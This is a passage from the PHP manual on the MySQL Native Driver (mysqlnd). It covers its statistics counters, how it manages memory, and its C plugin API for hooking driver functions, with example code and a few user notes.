  • MYSQL_TYPE_STRING, MYSQL_TYPE_VARSTRING, MYSQL_TYPE_VARCHAR - proto_text_fetched_string

  • MYSQL_TYPE_TINY_BLOB, MYSQL_TYPE_MEDIUM_BLOB, MYSQL_TYPE_LONG_BLOB, MYSQL_TYPE_BLOB - proto_text_fetched_blob

  • MYSQL_TYPE_ENUM - proto_text_fetched_enum

  • MYSQL_TYPE_SET - proto_text_fetched_set

  • MYSQL_TYPE_GEOMETRY - proto_text_fetched_geometry

  • Any MYSQL_TYPE_* not listed before (there should be none) - proto_text_fetched_other

Note that the MYSQL_*-type constants may not be associated with the very same SQL column types in every version of MySQL.

proto_binary_fetched_null, proto_binary_fetched_bit, proto_binary_fetched_tinyint proto_binary_fetched_short, proto_binary_fetched_int24, proto_binary_fetched_int, proto_binary_fetched_bigint, proto_binary_fetched_decimal, proto_binary_fetched_float, proto_binary_fetched_double, proto_binary_fetched_date, proto_binary_fetched_year, proto_binary_fetched_time, proto_binary_fetched_datetime, proto_binary_fetched_timestamp, proto_binary_fetched_string, proto_binary_fetched_blob, proto_binary_fetched_enum, proto_binary_fetched_set, proto_binary_fetched_geometry, proto_binary_fetched_other | Connection | Total number of columns of a certain type fetched from a prepared statement (MySQL binary protocol). | For type mapping see proto_text_* described in the preceding text.
Returned mysqlnd statistics: Connection
Statistic | Scope | Description | Notes
connect_success, connect_failure | Connection | Total number of successful / failed connection attempt. | Reused connections and all other kinds of connections are included.
reconnect | Process | Total number of (real_)connect attempts made on an already opened connection handle. | The code sequence $link = new mysqli(...); $link->real_connect(...) will cause a reconnect. But $link = new mysqli(...); $link->connect(...) will not because $link->connect(...) will explicitly close the existing connection before a new connection is established.
pconnect_success | Connection | Total number of successful persistent connection attempts. | Note that connect_success holds the sum of successful persistent and non-persistent connection attempts. The number of successful non-persistent connection attempts is connect_success - pconnect_success.
active_connections | Connection | Total number of active persistent and non-persistent connections.
active_persistent_connections | Connection | Total number of active persistent connections. | The total number of active non-persistent connections is active_connections - active_persistent_connections.
explicit_close Connection Total number of explicitly closed connections (ext/mysqli only). Examples of code snippets that cause an explicit close :
$link = new mysqli(...); $link->close(...)
$link = new mysqli(...); $link->connect(...)
implicit_close Connection Total number of implicitly closed connections (ext/mysqli only). Examples of code snippets that cause an implicit close :

  • $link = new mysqli(...); $link->real_connect(...)

  • unset($link)

  • Persistent connection: pooled connection has been created with real_connect and there may be unknown options set - close implicitly to avoid returning a connection with unknown options

  • Persistent connection: ping/change_user fails and ext/mysqli closes the connection

  • end of script execution: close connections that have not been closed by the user

disconnect_close | Connection | Connection failures indicated by the C API call mysql_real_connect() during an attempt to establish a connection. | It is called disconnect_close because the connection handle passed to the C API call will be closed.
in_middle_of_command_close | Process | A connection has been closed in the middle of a command execution (outstanding result sets not fetched, after sending a query and before retrieving an answer, while fetching data, while transferring data with LOAD DATA). | Unless you use asynchronous queries this should only happen if your script stops unexpectedly and PHP shuts down the connections for you.
init_command_executed_count | Connection | Total number of init command executions, for example, mysqli_options(MYSQLI_INIT_COMMAND , ...). | The number of successful executions is init_command_executed_count - init_command_failed_count.
init_command_failed_count | Connection | Total number of failed init commands.
Returned mysqlnd statistics: COM_* Command
Statistic Scope Description Notes
com_quit, com_init_db, com_query, com_field_list, com_create_db, com_drop_db, com_refresh, com_shutdown, com_statistics, com_process_info, com_connect, com_process_kill, com_debug, com_ping, com_time, com_delayed_insert, com_change_user, com_binlog_dump, com_table_dump, com_connect_out, com_register_slave, com_stmt_prepare, com_stmt_execute, com_stmt_send_long_data, com_stmt_close, com_stmt_reset, com_stmt_set_option, com_stmt_fetch, com_daemon Connection Total number of attempts to send a certain COM_* command from PHP to MySQL.

The statistics are incremented after checking the line and immediately before sending the corresponding MySQL client server protocol packet. If mysqlnd fails to send the packet over the wire the statistics will not be decremented. In case of a failure mysqlnd emits a PHP warning Error while sending %s packet. PID=%d.

Usage examples:

  • Check if PHP sends certain commands to MySQL, for example, check if a client sends COM_PROCESS_KILL

  • Calculate the average number of prepared statement executions by comparing COM_EXECUTE with COM_PREPARE

  • Check if PHP has run any non-prepared SQL statements by checking if COM_QUERY is zero

  • Identify PHP scripts that run an excessive number of SQL statements by checking COM_QUERY and COM_EXECUTE

Miscellaneous

Returned mysqlnd statistics: Miscellaneous
Statistic | Scope | Description | Notes
explicit_stmt_close, implicit_stmt_close | Process | Total number of close prepared statements. | A close is always considered explicit but for a failed prepare.
mem_emalloc_count, mem_emalloc_ammount, mem_ecalloc_count, mem_ecalloc_ammount, mem_erealloc_count, mem_erealloc_ammount, mem_efree_count, mem_malloc_count, mem_malloc_ammount, mem_calloc_count, mem_calloc_ammount, mem_realloc_count, mem_realloc_ammount, mem_free_count | Process | Memory management calls. | Development only.
command_buffer_too_small Connection Number of network command buffer extensions while sending commands from PHP to MySQL.

mysqlnd allocates an internal command/network buffer of mysqlnd.net_cmd_buffer_size (php.ini) bytes for every connection. If a MySQL Client Server protocol command, for example, COM_QUERY (normal query), does not fit into the buffer, mysqlnd will grow the buffer to what is needed for sending the command. Whenever the buffer gets extended for one connection command_buffer_too_small will be incremented by one.

If mysqlnd has to grow the buffer beyond its initial size of mysqlnd.net_cmd_buffer_size (php.ini) bytes for almost every connection, you should consider to increase the default size to avoid re-allocations.

The default buffer size is 4096 bytes, which is the smallest value possible. The default can changed either through the php.ini setting mysqlnd.net_cmd_buffer_size or using mysqli_options(MYSQLI_OPT_NET_CMD_BUFFER_SIZE, int size).

connection_reused

User Contributed Notes

There are no user contributed notes for this page.


Notes

This section provides a collection of miscellaneous notes on MySQL Native Driver usage.

  • Using mysqlnd means using PHP streams for underlying connectivity. For mysqlnd, the PHP streams documentation (Stream) should be consulted on such details as timeout settings, not the documentation for the MySQL Client Library.

User Contributed Notes

Les Brown 23-Feb-2010 11:04
After upgrading from php 5.2 to php 5.3 on Windows, I was unable to connect to MySQL databases on localhost. I eventually tracked the problem down to entries in my hosts file:
It contained:
127.0.0.1       localhost
[...]
::1             localhost
Commenting out the second line fixed the problem.

The problem is explained here: http://bugs.php.net/bug.php?id=50172


Memory management

Introduction

The MySQL Native Driver manages memory different than the MySQL Client Library. The libraries differ in the way memory is allocated and released, how memory is allocated in chunks while reading results from MySQL, which debug and development options exist, and how results read from MySQL are linked to PHP user variables.

The following notes are intended as an introduction and summary to users interested at understanding the MySQL Native Driver at the C code level.

Memory management functions used

All memory allocation and deallocation is done using the PHP memory management functions. Therefore, the memory consumption of mysqlnd can be tracked using PHP API calls, such as memory_get_usage(). Because memory is allocated and released using the PHP memory management, the changes may not immediately become visible at the operating system level. The PHP memory management acts as a proxy which may delay releasing memory towards the system. Due to this, comparing the memory usage of the MySQL Native Driver and the MySQL Client Library is difficult. The MySQL Client Library is using the operating system memory management calls directly, hence the effects can be observed immediately at the operating system level.

Any memory limit enforced by PHP also affects the MySQL Native Driver. This may cause out of memory errors when fetching large result sets that exceed the size of the remaining memory made available by PHP. Because the MySQL Client Library is not using PHP memory management functions, it does not comply to any PHP memory limit set. If using the MySQL Client Library, depending on the deployment model, the memory footprint of the PHP process may grow beyond the PHP memory limit. But also PHP scripts may be able to process larger result sets as parts of the memory allocated to hold the result sets are beyond the control of the PHP engine.

PHP memory management functions are invoked by the MySQL Native Driver through a lightweight wrapper. Among others, the wrapper makes debugging easier.

Handling of result sets

The various MySQL Server and the various client APIs differentiate between buffered and unbuffered result sets. Unbuffered result sets are transferred row-by-row from MySQL to the client as the client iterates over the results. Buffered results are fetched in their entirety by the client library before passing them on to the client.

The MySQL Native Driver is using PHP Streams for the network communication with the MySQL Server. Results sent by MySQL are fetched from the PHP Streams network buffers into the result buffer of mysqlnd. The result buffer is made of zvals. In a second step the results are made available to the PHP script. This final transfer from the result buffer into PHP variables impacts the memory consumption and is mostly noticeable when using buffered result sets.

By default the MySQL Native Driver tries to avoid holding buffered results twice in memory. Results are kept only once in the internal result buffers and their zvals. When results are fetched into PHP variables by the PHP script, the variables will reference the internal result buffers. Database query results are not copied and kept in memory only once. Should the user modify the contents of a variable holding the database results a copy-on-write must be performed to avoid changing the referenced internal result buffer. The contents of the buffer must not be modified because the user may decide to read the result set a second time. The copy-on-write mechanism is implemented using an additional reference management list and the use of standard zval reference counters. Copy-on-write must also be done if the user reads a result set into PHP variables and frees a result set before the variables are unset.

Generally speaking, this pattern works well for scripts that read a result set once and do not modify variables holding results. Its major drawback is the memory overhead caused by the additional reference management which comes primarily from the fact that user variables holding results cannot be entirely released until the mysqlnd reference management stops referencing them. The MySQL Native driver removes the reference to the user variables when the result set is freed or a copy-on-write is performed. An observer will see the total memory consumption grow until the result set is released. Use the statistics to check whether a script does release result sets explicitly or the driver does implicit releases and thus memory is used for a time longer than necessary. Statistics also help to see how many copy-on-write operations happened.

A PHP script reading many small rows of a buffered result set using a code snippet equal or equivalent to while ($row = $res->fetch_assoc()) { ... } may optimize memory consumption by requesting copies instead of references. Albeit requesting copies means keeping results twice in memory, it allows PHP to free the copy contained in $row as the result set is being iterated and prior to releasing the result set itself. On a loaded server optimizing peak memory usage may help improving the overall system performance although for an individual script the copy approach may be slower due to additional allocations and memory copy operations.

Monitoring and debugging

There are multiple ways of tracking the memory usage of the MySQL Native Driver. If the goal is to get a quick high level overview or to verify the memory efficiency of PHP scripts, then check the statistics collected by the library. The statistics allow you, for example, to catch SQL statements which generate more results than are processed by a PHP script.

The debug trace log can be configured to record memory management calls. This helps to see when memory is allocated or free'd. However, the size of the requested memory chunks may not be listed.

Some, recent versions of the MySQL Native Driver feature the emulation of random out of memory situations. This feature is meant to be used by the C developers of the library or mysqlnd plugin authors only. Please, search the source code for corresponding PHP configuration settings and further details. The feature is considered private and may be modified at any time without prior notice.

User Contributed Notes

There are no user contributed notes for this page.


MySQL Native Driver Plugin API

Table of Contents

  • A comparison of mysqlnd plugins with MySQL Proxy
  • Obtaining the mysqlnd plugin API
  • MySQL Native Driver Plugin Architecture
  • The mysqlnd plugin API
  • Getting started building a mysqlnd plugin

The MySQL Native Driver Plugin API is a feature of MySQL Native Driver, or mysqlnd. Mysqlnd plugins operate in the layer between PHP applications and the MySQL server. This is comparable to MySQL Proxy. MySQL Proxy operates on a layer between any MySQL client application, for example, a PHP application and, the MySQL server. Mysqlnd plugins can undertake typical MySQL Proxy tasks such as load balancing, monitoring and performance optimizations. Due to the different architecture and location, mysqlnd plugins do not have some of MySQL Proxy's disadvantages. For example, with plugins, there is no single point of failure, no dedicated proxy server to deploy, and no new programming language to learn (Lua).

A mysqlnd plugin can be thought of as an extension to mysqlnd. Plugins can intercept the majority of mysqlnd functions. The mysqlnd functions are called by the PHP MySQL extensions such as ext/mysql, ext/mysqli, and PDO_MYSQL. As a result, it is possible for a mysqlnd plugin to intercept all calls made to these extensions from the client application.

Internal mysqlnd function calls can also be intercepted, or replaced. There are no restrictions on manipulating mysqlnd internal function tables. It is possible to set things up so that when certain mysqlnd functions are called by the extensions that use mysqlnd, the call is directed to the appropriate function in the mysqlnd plugin. The ability to manipulate mysqlnd internal function tables in this way allows maximum flexibility for plugins.

Mysqlnd plugins are in fact PHP Extensions, written in C, that use the mysqlnd plugin API (which is built into MySQL Native Driver, mysqlnd). Plugins can be made 100% transparent to PHP applications. No application changes are needed because plugins operate on a different layer. The mysqlnd plugin can be thought of as operating in a layer below mysqlnd.

The following list represents some possible applications of mysqlnd plugins.

  • Load Balancing

    • Read/Write Splitting. An example of this is the PECL/mysqlnd_ms (Master Slave) extension. This extension splits read/write queries for a replication setup.

    • Failover

    • Round-Robin, least loaded

  • Monitoring

    • Query Logging

    • Query Analysis

    • Query Auditing. An example of this is the PECL/mysqlnd_sip (SQL Injection Protection) extension. This extension inspects queries and executes only those that are allowed according to a ruleset.

  • Performance

    • Caching. An example of this is the PECL/mysqlnd_qc (Query Cache) extension.

    • Throttling

    • Sharding. An example of this is the PECL/mysqlnd_mc (Multi Connect) extension. This extension will attempt to split a SELECT statement into n-parts, using SELECT ... LIMIT part_1, SELECT LIMIT part_n. It sends the queries to distinct MySQL servers and merges the result at the client.

MySQL Native Driver Plugins Available

There are a number of mysqlnd plugins already available. These include:

  • PECL/mysqlnd_mc - Multi Connect plugin.

  • PECL/mysqlnd_ms - Master Slave plugin.

  • PECL/mysqlnd_qc - Query Cache plugin.

  • PECL/mysqlnd_pscache - Prepared Statement Handle Cache plugin.

  • PECL/mysqlnd_sip - SQL Injection Protection plugin.

  • PECL/mysqlnd_uh - User Handler plugin.

User Contributed Notes

There are no user contributed notes for this page.


A comparison of mysqlnd plugins with MySQL Proxy

Mysqlnd plugins and MySQL Proxy are different technologies using different approaches. Both are valid tools for solving a variety of common tasks such as load balancing, monitoring, and performance enhancements. An important difference is that MySQL Proxy works with all MySQL clients, whereas mysqlnd plugins are specific to PHP applications.

As a PHP Extension, a mysqlnd plugin gets installed on the PHP application server, along with the rest of PHP. MySQL Proxy can either be run on the PHP application server or can be installed on a dedicated machine to handle multiple PHP application servers.

Deploying MySQL Proxy on the application server has two advantages:

  1. No single point of failure

  2. Easy to scale out (horizontal scale out, scale by client)

MySQL Proxy (and mysqlnd plugins) can solve problems easily which otherwise would have required changes to existing applications.

However, MySQL Proxy does have some disadvantages:

  • MySQL Proxy is a new component and technology to master and deploy.

  • MySQL Proxy requires knowledge of the Lua scripting language.

MySQL Proxy can be customized with C and Lua programming. Lua is the preferred scripting language of MySQL Proxy. For most PHP experts Lua is a new language to learn. A mysqlnd plugin can be written in C. It is also possible to write plugins in PHP using » PECL/mysqlnd_uh.

MySQL Proxy runs as a daemon - a background process. MySQL Proxy can recall earlier decisions, as all state can be retained. However, a mysqlnd plugin is bound to the request-based lifecycle of PHP. MySQL Proxy can also share one-time computed results among multiple application servers. A mysqlnd plugin would need to store data in a persistent medium to be able to do this. Another daemon would need to be used for this purpose, such as Memcache. This gives MySQL Proxy an advantage in this case.

MySQL Proxy works on top of the wire protocol. With MySQL Proxy you have to parse and reverse engineer the MySQL Client Server Protocol. Actions are limited to those that can be achieved by manipulating the communication protocol. If the wire protocol changes (which happens very rarely) MySQL Proxy scripts would need to be changed as well.

Mysqlnd plugins work on top of the C API, which mirrors the libmysqlclient client. This C API is basically a wrapper around the MySQL Client Server protocol, or wire protocol, as it is sometimes called. You can intercept all C API calls. PHP makes use of the C API, therefore you can hook all PHP calls, without the need to program at the level of the wire protocol.

Mysqlnd implements the wire protocol. Plugins can therefore parse, reverse engineer, manipulate and even replace the communication protocol. However, this is usually not required.

As plugins allow you to create implementations that use two levels (C API and wire protocol), they have greater flexibility than MySQL Proxy. If a mysqlnd plugin is implemented using the C API, any subsequent changes to the wire protocol do not require changes to the plugin itself.

User Contributed Notes

There are no user contributed notes for this page.


Obtaining the mysqlnd plugin API

The mysqlnd plugin API is simply part of the MySQL Native Driver PHP extension, ext/mysqlnd. Development started on the mysqlnd plugin API in December 2009. It is developed as part of the PHP source repository, and as such is available to the public either via Git, or through source snapshot downloads.

Plugin developers can determine the mysqlnd version through accessing MYSQLND_VERSION, which is a string of the format mysqlnd 5.0.7-dev - 091210 - $Revision: 300535, or through MYSQLND_VERSION_ID, which is an integer such as 50007. Developers can calculate the version number as follows:

MYSQLND_VERSION_ID calculation table
Version (part) | Example
Major*10000 | 5*10000 = 50000
Minor*100 | 0*100 = 0
Patch | 7 = 7
MYSQLND_VERSION_ID | 50007

During development, developers should refer to the mysqlnd version number for compatibility and version tests, as several iterations of mysqlnd could occur during the lifetime of a PHP development branch with a single PHP version number.

User Contributed Notes

There are no user contributed notes for this page.


MySQL Native Driver Plugin Architecture

This section provides an overview of the mysqlnd plugin architecture.

MySQL Native Driver Overview

Before developing mysqlnd plugins, it is useful to know a little of how mysqlnd itself is organized. Mysqlnd consists of the following modules:

The mysqlnd organization chart, per module
Modules Statistics | mysqlnd_statistics.c
Connection | mysqlnd.c
Resultset | mysqlnd_result.c
Resultset Metadata | mysqlnd_result_meta.c
Statement | mysqlnd_ps.c
Network | mysqlnd_net.c
Wire protocol | mysqlnd_wireprotocol.c

C Object-Oriented Paradigm

At the code level, mysqlnd uses a C pattern for implementing object orientation.

In C you use a struct to represent an object. Members of the struct represent object properties. Struct members pointing to functions represent methods.

Unlike with other languages such as C++ or Java, there are no fixed rules on inheritance in the C object-oriented paradigm. However, there are some conventions that need to be followed that will be discussed later.

The PHP Life Cycle

When considering the PHP life cycle there are two basic cycles:

  • PHP engine startup and shutdown cycle

  • Request cycle

When the PHP engine starts up it will call the module initialization (MINIT) function of each registered extension. This allows each module to setup variables and allocate resources that will exist for the lifetime of the PHP engine process. When the PHP engine shuts down it will call the module shutdown (MSHUTDOWN) function of each extension.

During the lifetime of the PHP engine it will receive a number of requests. Each request constitutes another life cycle. On each request the PHP engine will call the request initialization function of each extension. The extension can perform any variable setup and resource allocation required for request processing. As the request cycle ends the engine calls the request shutdown (RSHUTDOWN) function of each extension so the extension can perform any cleanup required.

How a plugin works

A mysqlnd plugin works by intercepting calls made to mysqlnd by extensions that use mysqlnd. This is achieved by obtaining the mysqlnd function table, backing it up, and replacing it by a custom function table, which calls the functions of the plugin as required.

The following code shows how the mysqlnd function table is replaced:

/* a place to store original function table */
struct st_mysqlnd_conn_methods org_methods;

void minit_register_hooks(TSRMLS_D) {
  /* active function table */
  struct st_mysqlnd_conn_methods * current_methods
    = mysqlnd_conn_get_methods();

  /* backup original function table */
  memcpy(&org_methods, current_methods,
    sizeof(struct st_mysqlnd_conn_methods);

  /* install new methods */
  current_methods->query = MYSQLND_METHOD(my_conn_class, query);
}

Connection function table manipulations must be done during Module Initialization (MINIT). The function table is a global shared resource. In an multi-threaded environment, with a TSRM build, the manipulation of a global shared resource during the request processing will almost certainly result in conflicts.

Note:

Do not use any fixed-size logic when manipulating the mysqlnd function table: new methods may be added at the end of the function table. The function table may change at any time in the future.

Calling parent methods

If the original function table entries are backed up, it is still possible to call the original function table entries - the parent methods.

In some cases, such as for Connection::stmt_init(), it is vital to call the parent method prior to any other activity in the derived method.

MYSQLND_METHOD(my_conn_class, query)(MYSQLND *conn,
  const char *query, unsigned int query_len TSRMLS_DC) {

  php_printf("my_conn_class::query(query = %s)\n", query);

  query = "SELECT 'query rewritten' FROM DUAL";
  query_len = strlen(query);

  return org_methods.query(conn, query, query_len); /* return with call to parent */
}

Extending properties

A mysqlnd object is represented by a C struct. It is not possible to add a member to a C struct at run time. Users of mysqlnd objects cannot simply add properties to the objects.

Arbitrary data (properties) can be added to a mysqlnd objects using an appropriate function of the mysqlnd_plugin_get_plugin_<object>_data() family. When allocating an object mysqlnd reserves space at the end of the object to hold a void * pointer to arbitrary data. mysqlnd reserves space for one void * pointer per plugin.

The following table shows how to calculate the position of the pointer for a specific plugin:

Pointer calculations for mysqlnd
Memory address | Contents
0 | Beginning of the mysqlnd object C struct
n | End of the mysqlnd object C struct
n + (m x sizeof(void*)) | void* to object data of the m-th plugin

If you plan to subclass any of the mysqlnd object constructors, which is allowed, you must keep this in mind!

The following code shows extending properties:

/* any data we want to associate */
typedef struct my_conn_properties {
  unsigned long query_counter;
} MY_CONN_PROPERTIES;

/* plugin id */
unsigned int my_plugin_id;

void minit_register_hooks(TSRMLS_D) {
  /* obtain unique plugin ID */
  my_plugin_id = mysqlnd_plugin_register();
  /* snip - see Extending Connection: methods */
}

static MY_CONN_PROPERTIES** get_conn_properties(const MYSQLND *conn TSRMLS_DC) {
  MY_CONN_PROPERTIES** props;
  props = (MY_CONN_PROPERTIES**)mysqlnd_plugin_get_plugin_connection_data(
    conn, my_plugin_id);
  if (!props || !(*props)) {
    *props = mnd_pecalloc(1, sizeof(MY_CONN_PROPERTIES), conn->persistent);
    (*props)->query_counter = 0;
  }
  return props;
}

The plugin developer is responsible for the management of plugin data memory.

Use of the mysqlnd memory allocator is recommended for plugin data. These functions are named using the convention: mnd_*loc(). The mysqlnd allocator has some useful features, such as the ability to use a debug allocator in a non-debug build.

When and how to subclass
 | When to subclass? | Each instance has its own private function table? | How to subclass?
Connection (MYSQLND) | MINIT | No | mysqlnd_conn_get_methods()
Resultset (MYSQLND_RES) | MINIT or later | Yes | mysqlnd_result_get_methods() or object method function table manipulation
Resultset Meta (MYSQLND_RES_METADATA) | MINIT | No | mysqlnd_result_metadata_get_methods()
Statement (MYSQLND_STMT) | MINIT | No | mysqlnd_stmt_get_methods()
Network (MYSQLND_NET) | MINIT or later | Yes | mysqlnd_net_get_methods() or object method function table manipulation
Wire protocol (MYSQLND_PROTOCOL) | MINIT or later | Yes | mysqlnd_protocol_get_methods() or object method function table manipulation

You must not manipulate function tables at any time later than MINIT if it is not allowed according to the above table.

Some classes contain a pointer to the method function table. All instances of such a class will share the same function table. To avoid chaos, in particular in threaded environments, such function tables must only be manipulated during MINIT.

Other classes use copies of a globally shared function table. The class function table copy is created together with the object. Each object uses its own function table. This gives you two options: you can manipulate the default function table of an object at MINIT, and you can additionally refine methods of an object without impacting other instances of the same class.

The advantage of the shared function table approach is performance. There is no need to copy a function table for each and every object.

Constructor status
Type | Allocation, construction, reset | Can be modified? | Caller
Connection (MYSQLND) | mysqlnd_init() | No | mysqlnd_connect()
Resultset(MYSQLND_RES)

Allocation:

  • Connection::result_init()

Reset and re-initialized during:

  • Result::use_result()

  • Result::store_result

Yes, but call parent!

  • Connection::list_fields()

  • Statement::get_result()

  • Statement::prepare() (Metadata only)

  • Statement::resultMetaData()

Resultset Meta (MYSQLND_RES_METADATA) | Connection::result_meta_init() | Yes, but call parent! | Result::read_result_metadata()
Statement (MYSQLND_STMT) | Connection::stmt_init() | Yes, but call parent! | Connection::stmt_init()
Network (MYSQLND_NET) | mysqlnd_net_init() | No | Connection::init()
Wire protocol (MYSQLND_PROTOCOL) | mysqlnd_protocol_init() | No | Connection::init()

It is strongly recommended that you do not entirely replace a constructor. The constructors perform memory allocations. The memory allocations are vital for the mysqlnd plugin API and the object logic of mysqlnd. If you do not care about warnings and insist on hooking the constructors, you should at least call the parent constructor before doing anything in your constructor.

Regardless of all warnings, it can be useful to subclass constructors. Constructors are the perfect place for modifying the function tables of objects with non-shared object tables, such as Resultset, Network, Wire Protocol.

Destruction status
Type | Derived method must call parent? | Destructor
Connection | yes, after method execution | free_contents(), end_psession()
Resultset | yes, after method execution | free_result()
Resultset Meta | yes, after method execution | free()
Statement | yes, after method execution | dtor(), free_stmt_content()
Network | yes, after method execution | free()
Wire protocol | yes, after method execution | free()

The destructors are the appropriate place to free properties, mysqlnd_plugin_get_plugin_<object>_data().

The listed destructors may not be equivalent to the actual mysqlnd method freeing the object itself. However, they are the best possible place for you to hook in and free your plugin data. As with constructors you may replace the methods entirely but this is not recommended. If multiple methods are listed in the above table you will need to hook all of the listed methods and free your plugin data in whichever method is called first by mysqlnd.

The recommended method for plugins is to simply hook the methods, free your memory and call the parent implementation immediately following this.

User Contributed Notes

There are no user contributed notes for this page.


The mysqlnd plugin API

The following is a list of functions provided in the mysqlnd plugin API:

  • mysqlnd_plugin_register()

  • mysqlnd_plugin_count()

  • mysqlnd_plugin_get_plugin_connection_data()

  • mysqlnd_plugin_get_plugin_result_data()

  • mysqlnd_plugin_get_plugin_stmt_data()

  • mysqlnd_plugin_get_plugin_net_data()

  • mysqlnd_plugin_get_plugin_protocol_data()

  • mysqlnd_conn_get_methods()

  • mysqlnd_result_get_methods()

  • mysqlnd_result_meta_get_methods()

  • mysqlnd_stmt_get_methods()

  • mysqlnd_net_get_methods()

  • mysqlnd_protocol_get_methods()

There is no formal definition of what a plugin is and how a plugin mechanism works.

Components often found in plugins mechanisms are:

  • A plugin manager

  • A plugin API

  • Application services (or modules)

  • Application service APIs (or module APIs)

The mysqlnd plugin concept employs these features, and additionally enjoys an open architecture.

No Restrictions

A plugin has full access to the inner workings of mysqlnd. There are no security limits or restrictions. Everything can be overwritten to implement friendly or hostile algorithms. It is recommended you only deploy plugins from a trusted source.

As discussed previously, plugins can use pointers freely. These pointers are not restricted in any way, and can point into another plugin's data. Simple offset arithmetic can be used to read another plugin's data.

It is recommended that you write cooperative plugins, and that you always call the parent method. The plugins should always cooperate with mysqlnd itself.

Issues: an example of chaining and cooperation
Extension | mysqlnd.query() pointer | call stack if calling parent
ext/mysqlnd | mysqlnd.query() | mysqlnd.query
ext/mysqlnd_cache mysqlnd_cache.query()

  1. mysqlnd_cache.query()

  2. mysqlnd.query

ext/mysqlnd_monitor mysqlnd_monitor.query()

  1. mysqlnd_monitor.query()

  2. mysqlnd_cache.query()

  3. mysqlnd.query

In this scenario, a cache (ext/mysqlnd_cache) and a monitor (ext/mysqlnd_monitor) plugin are loaded. Both subclass Connection::query(). Plugin registration happens at MINIT using the logic shown previously. PHP calls extensions in alphabetical order by default. Plugins are not aware of each other and do not set extension dependencies.

By default the plugins call the parent implementation of the query method in their derived version of the method.

PHP Extension Recap

This is a recap of what happens when using an example plugin, ext/mysqlnd_plugin, which exposes the mysqlnd C plugin API to PHP:

  • Any PHP MySQL application tries to establish a connection to 192.168.2.29

  • The PHP application will either use ext/mysql, ext/mysqli or PDO_MYSQL. All three PHP MySQL extensions use mysqlnd to establish the connection to 192.168.2.29.

  • Mysqlnd calls its connect method, which has been subclassed by ext/mysqlnd_plugin.

  • ext/mysqlnd_plugin calls the userspace hook proxy::connect() registered by the user.

  • The userspace hook changes the connection host IP from 192.168.2.29 to 127.0.0.1 and returns the connection established by parent::connect().

  • ext/mysqlnd_plugin performs the equivalent of parent::connect(127.0.0.1) by calling the original mysqlnd method for establishing a connection.

  • ext/mysqlnd establishes a connection and returns to ext/mysqlnd_plugin. ext/mysqlnd_plugin returns as well.

  • Whatever PHP MySQL extension had been used by the application, it receives a connection to 127.0.0.1. The PHP MySQL extension itself returns to the PHP application. The circle is closed.

User Contributed Notes

There are no user contributed notes for this page.


Getting started building a mysqlnd plugin

It is important to remember that a mysqlnd plugin is itself a PHP extension.

The following code shows the basic structure of the MINIT function that will be used in the typical mysqlnd plugin:

/* my_php_mysqlnd_plugin.c */

 static PHP_MINIT_FUNCTION(mysqlnd_plugin) {
  /* globals, ini entries, resources, classes */

  /* register mysqlnd plugin */
  mysqlnd_plugin_id = mysqlnd_plugin_register();

  conn_m = mysqlnd_get_conn_methods();
  memcpy(org_conn_m, conn_m,
    sizeof(struct st_mysqlnd_conn_methods));

  conn_m->query = MYSQLND_METHOD(mysqlnd_plugin_conn, query);
  conn_m->connect = MYSQLND_METHOD(mysqlnd_plugin_conn, connect);
}

/* my_mysqlnd_plugin.c */

 enum_func_status MYSQLND_METHOD(mysqlnd_plugin_conn, query)(/* ... */) {
  /* ... */
}
enum_func_status MYSQLND_METHOD(mysqlnd_plugin_conn, connect)(/* ... */) {
  /* ... */
}

Task analysis: from C to userspace

 class proxy extends mysqlnd_plugin_connection {
  public function connect($host, ...) { .. }
}
mysqlnd_plugin_set_conn_proxy(new proxy());

Process:

  1. PHP: user registers plugin callback

  2. PHP: user calls any PHP MySQL API to connect to MySQL

  3. C: ext/*mysql* calls mysqlnd method

  4. C: mysqlnd ends up in ext/mysqlnd_plugin

  5. C: ext/mysqlnd_plugin

    1. Calls userspace callback

    2. Or original mysqlnd method, if userspace callback not set

You need to carry out the following:

  1. Write a class "mysqlnd_plugin_connection" in C

  2. Accept and register proxy object through "mysqlnd_plugin_set_conn_proxy()"

  3. Call userspace proxy methods from C (optimization - zend_interfaces.h)

Userspace object methods can either be called using call_user_function() or you can operate at a level closer to the Zend Engine and use zend_call_method().

Optimization: calling methods from C using zend_call_method

The following code snippet shows the prototype for the zend_call_method function, taken from zend_interfaces.h.

 ZEND_API zval* zend_call_method(
  zval **object_pp, zend_class_entry *obj_ce,
  zend_function **fn_proxy, char *function_name,
  int function_name_len, zval **retval_ptr_ptr,
  int param_count, zval* arg1, zval* arg2 TSRMLS_DC
);

Zend API supports only two arguments. You may need more, for example:

 enum_func_status (*func_mysqlnd_conn__connect)(
  MYSQLND *conn, const char *host,
  const char * user, const char * passwd,
  unsigned int passwd_len, const char * db,
  unsigned int db_len, unsigned int port,
  const char * socket, unsigned int mysql_flags TSRMLS_DC
);

To get around this problem you will need to make a copy of zend_call_method() and add a facility for additional parameters. You can do this by creating a set of MY_ZEND_CALL_METHOD_WRAPPER macros.

Calling PHP userspace

This code snippet shows the optimized method for calling a userspace function from C:

/* my_mysqlnd_plugin.c */

MYSQLND_METHOD(my_conn_class,connect)(
  MYSQLND *conn, const char *host /* ... */ TSRMLS_DC) {
  enum_func_status ret = FAIL;
  zval * global_user_conn_proxy = fetch_userspace_proxy();
  if (global_user_conn_proxy) {
    /* call userspace proxy */
    ret = MY_ZEND_CALL_METHOD_WRAPPER(global_user_conn_proxy, host, /*...*/);
  } else {
    /* or original mysqlnd method = do nothing, be transparent */
    ret = org_methods.connect(conn, host, user, passwd,
          passwd_len, db, db_len, port,
          socket, mysql_flags TSRMLS_CC);
  }
  return ret;
}

Calling userspace: simple arguments

/* my_mysqlnd_plugin.c */

 MYSQLND_METHOD(my_conn_class,connect)(
  /* ... */, const char *host, /* ...*/) {
  /* ... */
  if (global_user_conn_proxy) {
    /* ... */
    zval* zv_host;
    MAKE_STD_ZVAL(zv_host);
    ZVAL_STRING(zv_host, host, 1);
    MY_ZEND_CALL_METHOD_WRAPPER(global_user_conn_proxy, zv_retval, zv_host /*, ...*/);
    zval_ptr_dtor(&zv_host);
    /* ... */
  }
  /* ... */
}

Calling userspace: structs as arguments

/* my_mysqlnd_plugin.c */

MYSQLND_METHOD(my_conn_class, connect)(
  MYSQLND *conn, /* ...*/) {
  /* ... */
  if (global_user_conn_proxy) {
    /* ... */
    zval* zv_conn;
    ZEND_REGISTER_RESOURCE(zv_conn, (void *)conn, le_mysqlnd_plugin_conn);
    MY_ZEND_CALL_METHOD_WRAPPER(global_user_conn_proxy, zv_retval, zv_conn, zv_host /*, ...*/);
